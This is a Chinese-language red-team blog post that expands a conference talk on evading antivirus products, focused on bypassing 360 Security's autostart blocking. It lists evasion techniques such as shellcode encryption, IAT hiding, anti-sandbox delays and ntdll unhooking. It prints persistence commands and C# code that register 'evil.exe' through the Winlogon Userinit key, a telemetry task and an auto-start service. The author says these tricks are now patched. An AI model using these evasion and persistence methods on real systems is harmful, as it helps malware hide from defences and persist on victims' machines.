关于”杀软对抗”的议题拓展
本文章作为CIS网络安全创新大会议题 Redteaming:主流杀软对抗之路 的扩展与延伸,从为什么出发,到杀软规则的测试与讨论.
CIS议题重点
- shellcode加密
针对杀软于shellcode的静态二进制特征查杀,用加密解决shellcode的静态特征。
- IAT导入地址表
针对杀软对PE文件的IAT导入表的敏感函数检测,使用动态调用的技巧,完成隐藏导入函数的效果。
- 混淆编译
针对杀软对特征字符串和函数执行流程的检测,使用编译时混淆字符串和函数调用混淆的办法,隐藏特征字符串,和使用有限状态机的函数执行。
- API执行链
针对基于启发式扫描的API执行链检测,使用巨大的内存分配与填充,干扰API执行链,具有行为免杀的效果。
- 强延时
针对杀软和沙箱的时间加速,使用模拟计算来实现一个强延时,具有无视时间加速和一定的反沙箱效果。
- 系统调用
针对杀软及EDR的用户态HOOK,使用本地加载并映射ntdll.dll技巧来实现动态系统调用,解决系统调用的兼容性问题,完成对挂钩函数的脱钩。
为什么讲这几点?
在我看来,bypass杀软和bypass waf是一样的,需要见招拆招,各种技巧思路都应具有针对性,比如我在CIS中的讲的各点,其实只是一些常规操作,但是它都针对了杀软检测规则的一部分,从而具有目的性的完成想要的效果:bypass。
了解杀软检测规则
举个例子(利用规则)
360安全卫士对于自启动的拦截十分严格,但是问题在于,自启动是正常的系统行为,为什么QQ加自启动不会被拦截?
答案大家应该也知道,因为QQ带有高信誉的签名。(那么我们能不能利用这一点呢?)
答案当然是可以的,我们如果能找到一个QQ的DLL劫持,QQ会加载被劫持的恶意DLL,然后恶意的DLL将会为我们添加自启动,于是就利用带有腾讯签名的进程(QQ.exe),为我们添加自启动.
在今年更新360 13前,这个玩法都是有效的,那么为什么现在失效了。
这里使用的是360浏览器的一个dll劫持,带有360的签名,但是在最新版360的检测下,由于加载的DLL无签名,又因为这个DLL产生了高危的行为(添加自启动),于是此DLL被定义为恶意文件。
通过利用规则,我在这里利用了360对签名进程的高信誉证书的信任,完成了启动项的添加。
再举个例子(绕过规则)
- 使用360所不知道,不在拦截名单中的自启动,也能达成添加自启动的目的。
1
2 > reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evil.exe" /f
>
这个自启动注册表,于去年年底公开,然后存活了一个月。
1
2
3 > reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Command /d c:\\windows\\system32\\notepad.exe
> reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Nightly /t REG_DWORD /d 1
>
遥测,这是个Windows的自启动计划任务,于今年上半年爆出,一个月后失效
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29 using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Management.Automation;
using System.Collections.ObjectModel;
public class Program
{
public static void Main()
{
PowerShell ps1 = PowerShell.Create();
ps1.AddScript("new-service –Name OrderService –DisplayName OrderService –BinaryPathName c:/evil.exe –StartupType Automatic;Start-Service OrderService");
ps1.Invoke();
PowerShell ps2 = PowerShell.Create();
ps2.AddCommand("Get-Process");
Collection<PSObject> PSOutput = ps2.Invoke();
foreach (PSObject outputItem in PSOutput)
{
if (outputItem != null)
{
Console.WriteLine(outputItem);
}
}
}
}
这个是我自己发现的,在去年讨论使用.net实现powershell被禁用的环境下执行powershell的技巧时,我就尝试过用这种技巧去添加自启动,于今年年初失效。
结论
由我的观察可得出
360安全卫士的拦截规则其实非常死板,完全基于签名与黑名单,添加黑名单中的启动项时,需要检查进程签名,启动项所对应的启动程序也需要检查签名,现在被加载的dll也要检查签名。
进程可信 + 启动项对应对象可信 + dll可信(如果是dll的启动项添加行为) = 添加通过。
利用规则
即利用对高信誉签名的信任,可以完成任意启动项的添加。
优点:灵活,可以直接完成绝大部分行为的bypass
缺点:难找,难利用。
绕过规则
绕过规则中的黑名单添加项or添加方式。
优点:比较容易寻找并利用,通过研究注册表功能及一些隐藏项,即可找到黑名单外的启动项。
缺点:启动方式单一,技巧容易被捕获。
很不幸,今天讲的技巧都已经无效,但是我希望的是,读者能从这些bypass案例中,寻找到bypass的思路,
我前端时间发过一个视频,可以任意添加注册表和服务,就是通过系统机制完成的对微软签名的滥用,即使360更新到了13,同样也一样能bypass,